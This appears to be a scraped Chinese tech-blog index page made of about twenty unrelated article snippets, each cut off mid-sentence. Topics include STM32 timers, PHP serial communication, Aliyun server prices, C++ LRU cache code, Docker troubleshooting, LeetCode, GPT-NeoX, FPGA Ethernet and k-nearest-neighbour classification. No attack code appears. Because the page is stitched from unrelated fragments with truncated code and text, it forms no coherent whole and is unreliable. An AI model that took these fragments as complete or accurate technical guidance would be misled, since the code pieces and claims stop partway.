本文收录于《AI绘画从入门到精通》专栏&#xff0c;专栏总目录&#xff1a;点这里。 大家好&#xff0c;我是水滴~~ 本文主要介绍在从 GitHub 上克隆 stable-diffusion-webui 项目时出现的 fatal: unable to access https://github.com/AUTOMATIC1111/stable-diffusion-webui.…

【STM32】HAL库 CubeMX教程---通用定时器 定时

STM32常用型号的TIM时钟频率 1. STM32F103系列&#xff1a; 所有 TIM 的时钟频率都是72MHz&#xff1b;F103C8不带基本定时器&#xff0c;F103RC及以上才带基本定时器。 2、STM32F407系列&#xff1a; TIM1、8、9、10、11的时钟频率是168MHz&#xff1b;其它TIM的时钟频率是…

【PHP】PHP通过串口与硬件通讯,向硬件设备发送数据并接收硬件返回的数据

一、前言 之前写过两篇PHP实现与硬件串口交互的文章&#xff0c;一篇是【PHP】PHP实现与硬件串口交互&#xff0c;接收硬件发送的实时数据&#xff08;上&#xff09;_php串口通信-CSDN博客&#xff0c;另一篇是【PHP】PHP实现与硬件串口交互&#xff0c;向硬件设备发送指令数…

阿里云2核4G服务器支持人数并发测试,2核4G主机测评

阿里云2核4G服务器多少钱一年&#xff1f;2核4G配置1个月多少钱&#xff1f;2核4G服务器30元3个月、轻量应用服务器2核4G4M带宽165元一年、企业用户2核4G5M带宽199元一年。可以在阿里云CLUB中心查看 aliyun.club 当前最新2核4G服务器精准报价、优惠券和活动信息。 阿里云官方2…

C++ LRU缓存

题目&#xff1a; //构建双向链表的节点结构&#xff08;要有两个构造函数&#xff09; struct Node{int key, val;Node* pre;Node* next;Node():key(0), val(0), pre(nullptr), next(nullptr) {}Node(int _key, int _val): key(_key), val(_val), pre(nullptr), next(nullpt…

基础小白快速入门web前端开发技术------>web概述

Web概述 我们在编程的学习中&#xff0c;随着学习的深入&#xff0c;我们会理解到WEB这个东西&#xff0c;那么 web究竟是个啥&#xff0c;到底该咋用&#xff1f; web&#xff0c;是网站的英文意思&#xff0c;又被称作“下一代Web3.0&#xff0c;互联网”&#xff0c;是在We…

简洁实用的wordpress外贸网站模板

坚果蜜饯wordpress跨境电商模板 木瓜干、菠萝干、夏威夷果、芒果干、椰片、巴旦木等wordpress跨境电商模板。 https://www.jianzhanpress.com/?p3944 珠宝手饰wordpress外贸网站模板 金银手饰、珍珠手饰、翡翠手饰、钻石手饰、玉石珠宝手饰wordpress外贸网站模板。 https:…

docker无法运行问题

场景如下&#xff1a; 执行运行docker命令出现如下错误&#xff1a;systemctl start docker 出现该问题的原因&#xff1a;是因为我们配置的镜像加速器用不了了 去修改我们的镜像加速器&#xff0c; 去到配置镜像加速器的目录 cd /etc/docker 修改镜像加速器 vim daemon.j…

记一次 .NET某设备监控自动化系统 CPU爆高分析

一&#xff1a;背景 1. 讲故事 先说一下题外话&#xff0c;一个监控别人系统运行状态的程序&#xff0c;结果自己出问题了&#xff0c;有时候想一想还是挺讽刺的&#xff0c;哈哈&#xff0c;开个玩笑&#xff0c;我们回到正题&#xff0c;前些天有位朋友找到我&#xff0c;说…

二叉树进阶leetcode

606. 根据二叉树创建字符串 要点&#xff1a;前序遍历&#xff0c;当左子树为空时&#xff0c;右结点有数字时要给左边加括号 class Solution { public:string tree2str(TreeNode* root) {string s;//创建一个字符串if(rootnullptr){return s;}sto_string(root->val);//保存…

LLM | GPT-NEOX论文详解

GPT-NEOX使用旋转位置编码。模型权重使用float16表示。最大序列长度为2048。 论文题目&#xff1a;2022.04.14_GPT-NeoX-20B: An Open-Source Autoregressive Language Model 论文地址&#xff1a;2204.06745.pdf (arxiv.org) 论文代码&#xff1a;EleutherAI/gpt-neox: An imp…

go语言基础 -- 文件操作

基础的文件操作方法 go里面的文件操作封装在os包里面的File结构体中&#xff0c;要用的时候最好去查下官方文档&#xff0c;这里介绍下基本的文件操作。 打开关闭文件 import("os" ) func main() {// Open返回*File指针&#xff0c;后续的操作都通过*File对象操作…

Unsupervised Learning of Monocular Depth Estimation and Visual Odometry 论文阅读

论文链接 Unsupervised Learning of Monocular Depth Estimation and Visual Odometry with Deep Feature Reconstruction 0. Abstract 尽管基于学习的方法在单视图深度估计和视觉里程计方面显示出有希望的结果&#xff0c;但大多数现有方法以监督方式处理任务。最近的单视图…

归并排序总结

1.归并排序 归并排序的步骤如下&#xff1a; ①枚举中点&#xff0c;将区间分为左右两段&#xff1b; ②对左右两段区间分别排序&#xff1b; 这个过程以递归的方式进行。 ③合并两段区间。 是一个模拟的过程。用两个指针分别指向左右区间&#xff0c;判断当前哪个数小&…

FPGA——三速自适应以太网设计(2)GMII与RGMII接口

FPGA——以太网设计&#xff08;2&#xff09;GMII与RGMII 基础知识&#xff08;1&#xff09;GMII&#xff08;2&#xff09;RGMII&#xff08;3&#xff09;IDDR GMII设计转RGMII接口跨时钟传输模块 基础知识 &#xff08;1&#xff09;GMII GMII:发送端时钟由MAC端提供 下…

k近邻分类算法实现(KNN)

KNN算法实现 最近要用到对 某些数据进行自动识别分类&#xff0c;简单学习了一下k近邻算法&#xff0c;分享一下。 例如&#xff1a;电影动作片爱情片分类识别 这里我们使用了sklearn库&#xff0c;它用起来简单方便。 先提供代码如下&#xff1a; import numpy as np imp…

docker的简单使用

在一些进行使用靶场或者工具的时候&#xff0c;我们可以用docker在线拉取&#xff0c;就可以省去手动搭建靶场的过程 一、docker的配置 因为docker是默认从docker的官网进行拉取&#xff0c;所以拉取经常速度很慢或者失败&#xff0c;我们先要进行一下配置&#xff0c;让他优…

欧科云链:角力Web3.0,香港如何为合规设线?

在香港拥抱Web3.0的过程中,以欧科云链为代表的合规科技企业将凸显更大重要性。 ——据香港商报网报道 据香港明报、商报等媒体报道&#xff0c;港区全国政协兼香港选委界立法会议员吴杰庄在日前召开的全国两会上提出在大湾区建设国际中小企业创新Web3融资平台等提案&#xff0…

《系统架构设计师教程(第2版)》第6章-据库设计基础知识-01-数据库基本概念

文章目录 1. 概述1.1 基本概念1&#xff09;信息 (Information)2&#xff09;数据 (Data)3&#xff09;数据库 (DB)4&#xff09;数据库系统(DBS)5&#xff09;数据库管理系统&#xff08;DBMS&#xff09; 1.2 数据库技术的发展1.2.1 人工管理阶段1.2.2 文件系统阶段1&#xf…